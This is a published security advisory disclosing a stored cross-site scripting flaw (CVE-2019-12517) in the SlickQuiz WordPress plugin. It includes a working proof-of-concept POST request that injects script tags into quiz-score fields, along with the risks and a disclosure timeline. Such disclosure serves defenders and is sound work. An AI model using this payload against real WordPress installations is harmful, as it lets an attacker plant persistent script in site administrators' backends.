RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: SlickQuiz Vendor URL: https://wordpress.org/plugins/slickquiz/ Type: Cross-Site Scripting [CWE-79] Date found: 2019-05-30 Date published: 2019-09-10 CVSSv3 Score: 6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) CVE: CVE-2019-12517 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== SlickQuiz for Wordpress 1.3.7.1 (latest) 4. INTRODUCTION =============== SlickQuiz is a plugin for displaying and managing pretty, dynamic quizzes. It uses the SlickQuiz jQuery plugin. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The "save_quiz_score" functionality available to unauthenticated users via the Wordpress "/wp-admin/admin-ajax.php" endpoint allows unauthenticated users to submit quiz solutions/answers. If the configuration option "Save user scores" is enabled (disabled by default), the response is stored in the database and later shown in the Wordpress backend for all users with at least Subscriber rights. However, since the plugin does not properly validate and sanitize the quiz response, a malicious XSS payload in either the name, the email or the score parameter like: POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 181 DNT: 1 Connection: close action=save_quiz_score&json={"name":"Na<script>alert(document.domain)</script> me","email":"info@local<script>alert(document.domain)</script>host", "score":"<script>alert(document.domain)</script>","quiz_id":1} is executed directly within the backend at "/wp-admin/admin.php?page=slickquiz" across all users with the privileges of at least subscriber and up to admin. 6. RISK ======= To successfully exploit this vulnerability an authenticated user must be tricked into visiting the SlickQuiz administrative backend on the affected Wordpress installation. The vulnerability can be used to permanently embed arbitrary script code into the administrative Wordpress backend, which offers a wide range of possible attacks such as redirecting the user to a malicious page, spoofing content on the page or attacking the browser and its plugins. 7. SOLUTION =========== None (Remove the plugin) 8. REPORT TIMELINE ================== 2019-05-30: Discovery of the vulnerability during H1-4420 2019-06-01: CVE requested from MITRE 2019-06-02: MITRE assigns CVE-2019-12517 2019-06-10: Contacted vendor using their publicly listed email address 2019-06-19: Contacted vendor using their publicly listed email address 2019-06-22: Contacted vendor using their publicly listed email address 2019-08-28: No response from vendor. 2019-09-10: Public disclosure. 9. REFERENCES ============= https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/
